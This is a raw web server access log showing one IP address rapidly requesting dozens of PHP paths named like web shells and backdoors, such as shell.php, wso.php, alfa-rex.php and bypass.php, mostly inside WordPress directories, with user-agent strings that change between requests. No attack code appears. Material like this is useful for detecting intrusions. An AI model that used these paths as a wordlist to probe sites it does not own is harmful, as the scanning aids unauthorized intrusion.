- [20/Apr/2026:01:25:39 +0300] "GET /.well-known/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:25:39 +0300] "GET /ab.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:25:39 +0300] "GET /wp-content/themes/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:25:40 +0300] "GET /wp-content/themes/twentytwentytwo/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:25:40 +0300] "GET /doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:25:40 +0300] "GET /wp-includes/html-api/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 192.253.209.164 - - [20/Apr/2026:01:25:41 +0300] "GET /wp-includes/style-engine/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:25:41 +0300] "GET /mar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 192.253.209.164 - - [20/Apr/2026:01:25:41 +0300] "GET /wp-includes/sitemaps/providers/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:25:42 +0300] "GET /wp-admin/css/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:25:42 +0300] "GET /1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:25:42 +0300] "GET /wp-includes/Text/Diff/Engine/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:25:43 +0300] "GET /wp-includes/style-engine/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:25:43 +0300] "GET /js/fm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:25:43 +0300] "GET /wp-admin/images/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:25:43 +0300] "GET /wp-content/uploads/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 192.253.209.164 - - [20/Apr/2026:01:25:44 +0300] "GET /wp-content/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 192.253.209.164 - - [20/Apr/2026:01:25:44 +0300] "GET /wp-includes/Text/Diff/Engine/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:25:44 +0300] "GET /fm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 192.253.209.164 - - [20/Apr/2026:01:25:45 +0300] "GET /wp-admin/js/widgets/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:25:45 +0300] "GET /adminfuns.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 192.253.209.164 - - [20/Apr/2026:01:25:46 +0300] "GET /wp-admin/images/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:25:46 +0300] "GET /ini.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 192.253.209.164 - - [20/Apr/2026:01:25:46 +0300] "GET /wp-admin/css/colors/coffee/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:25:47 +0300] "GET /wp-includes/blocks/calendar/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 192.253.209.164 - - [20/Apr/2026:01:25:47 +0300] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 192.253.209.164 - - [20/Apr/2026:01:25:47 +0300] "GET /.well-known/acme-challenge/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:25:47 +0300] "GET /wp-admin/js/instaall.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:25:48 +0300] "GET /wp-includes/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 192.253.209.164 - - [20/Apr/2026:01:25:48 +0300] "GET /wp-includes/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 192.253.209.164 - - [20/Apr/2026:01:25:48 +0300] "GET /wp-content/plugins/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:25:49 +0300] "GET /wp-content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 192.253.209.164 - - [20/Apr/2026:01:25:49 +0300] "GET /wp-includes/css/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:25:49 +0300] "GET /wp-includes/Text/Diff/Renderer/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:25:50 +0300] "GET /wp-admin/network/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:25:50 +0300] "GET /wp-admin/css/colors/light/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 192.253.209.164 - - [20/Apr/2026:01:25:50 +0300] "GET /customize.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:25:51 +0300] "GET /license.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:25:51 +0300] "GET /wp-content/languages/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:25:51 +0300] "GET /lock.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 192.253.209.164 - - [20/Apr/2026:01:25:52 +0300] "GET /wp-admin/css/colors/blue/gold.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:25:52 +0300] "GET /wp-includes/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:25:52 +0300] "GET /wp-includes/rest-api/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 192.253.209.164 - - [20/Apr/2026:01:25:53 +0300] "GET /.well-known/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 192.253.209.164 - - [20/Apr/2026:01:25:53 +0300] "GET /.well-known/wincust.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:25:53 +0300] "GET /wp-admin/css/colors/light/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:25:54 +0300] "GET /wp-good.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:25:54 +0300] "GET /wp-includes/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:25:54 +0300] "GET /wp-includes/style-engine/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:25:55 +0300] "GET /wp-includes/assets/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 192.253.209.164 - - [20/Apr/2026:01:25:55 +0300] "GET /wp-content/themes/twentytwentyfour/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:25:55 +0300] "GET /randkeyword.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 192.253.209.164 - - [20/Apr/2026:01:25:56 +0300] "GET /wp-admin/js/widgets/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:25:56 +0300] "GET /fonts/database.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:25:56 +0300] "GET /ff2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:25:57 +0300] "GET /wp-includes/SimplePie/Exception-wp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:25:57 +0300] "GET /wp-admin/plugin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:25:57 +0300] "GET /wp-includes/rest-api/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 192.253.209.164 - - [20/Apr/2026:01:25:57 +0300] "GET /jp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 192.253.209.164 - - [20/Apr/2026:01:25:58 +0300] "GET /wp-atom.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:25:58 +0300] "GET /wp-admin/css/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:25:58 +0300] "GET /up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:25:59 +0300] "GET /wp-content/uploads/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:25:59 +0300] "GET /assets/images/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 192.253.209.164 - - [20/Apr/2026:01:25:59 +0300] "GET /wp-content/plugins/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:26:00 +0300] "GET /js/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 192.253.209.164 - - [20/Apr/2026:01:26:00 +0300] "GET /simple/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:26:01 +0300] "GET /worm.PhP HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:26:01 +0300] "GET /ext.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:26:01 +0300] "GET /delpaths.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 192.253.209.164 - - [20/Apr/2026:01:26:01 +0300] "GET /.well-known/pki-validation/1.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:26:02 +0300] "GET /wp-content/plugins/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:26:02 +0300] "GET /.well-known/pki-validation/install.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:26:02 +0300] "GET /wp-admin/css/colors/sunrise/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:26:03 +0300] "GET /gifclass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:26:03 +0300] "GET /plugin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:26:03 +0300] "GET /wp-content/themes/twentytwentyfour/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:26:04 +0300] "GET /update-core.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:26:04 +0300] "GET /wp-admin/css/colors/blue/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 192.253.209.164 - - [20/Apr/2026:01:26:04 +0300] "GET /wp-mail.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:26:05 +0300] "GET /wp-content/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:26:05 +0300] "GET /wp-admin/defaults.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 192.253.209.164 - - [20/Apr/2026:01:26:05 +0300] "GET /.well-known/acme-challenge/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:26:06 +0300] "GET /wp-content/ALFA_DATA/alfacgiapi/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:26:06 +0300] "GET /wp-admin/maint/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:26:06 +0300] "GET /wp-admin/js/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:26:07 +0300] "GET /wp-content/uploads/2023/05/404.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:26:07 +0300] "GET /wp-admin/maint/maint.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 192.253.209.164 - - [20/Apr/2026:01:26:08 +0300] "GET /assets/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:26:08 +0300] "GET /aa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:26:08 +0300] "GET /index2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:26:09 +0300] "GET /wp-content/themes/hello-element/footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 192.253.209.164 - - [20/Apr/2026:01:26:09 +0300] "GET /wp-admin/network/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 192.253.209.164 - - [20/Apr/2026:01:26:09 +0300] "GET /.well-known/pki-validation/2index.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:26:09 +0300] "GET /wp-content/languages/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:26:10 +0300] "GET /shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:26:10 +0300] "GET /.well-known/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 192.253.209.164 - - [20/Apr/2026:01:26:10 +0300] "GET /wp-includes/Text/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 192.253.209.164 - - [20/Apr/2026:01:26:11 +0300] "GET /wp-admin/network/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:26:11 +0300] "GET /.well-known/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 192.253.209.164 - - [20/Apr/2026:01:26:12 +0300] "GET /hehe.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:26:12 +0300] "GET /wp-includes/fonts/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:26:12 +0300] "GET /css/slider.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:26:12 +0300] "GET /dir.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 192.253.209.164 - - [20/Apr/2026:01:26:13 +0300] "GET /wp-includes/css/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 192.253.209.164 - - [20/Apr/2026:01:26:13 +0300] "GET /wp-content/style.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:26:13 +0300] "GET /libraries/phpmailer/updates.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 192.253.209.164 - - [20/Apr/2026:01:26:14 +0300] "GET /nf_tracking.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:26:14 +0300] "GET /wp-admin/css/about.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 192.253.209.164 - - [20/Apr/2026:01:26:14 +0300] "GET /filefuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:26:15 +0300] "GET /.well-known/pki-validation/class_api.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:26:15 +0300] "GET /l.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:26:15 +0300] "GET /repeater.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:26:16 +0300] "GET /wp-admin/wso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:26:16 +0300] 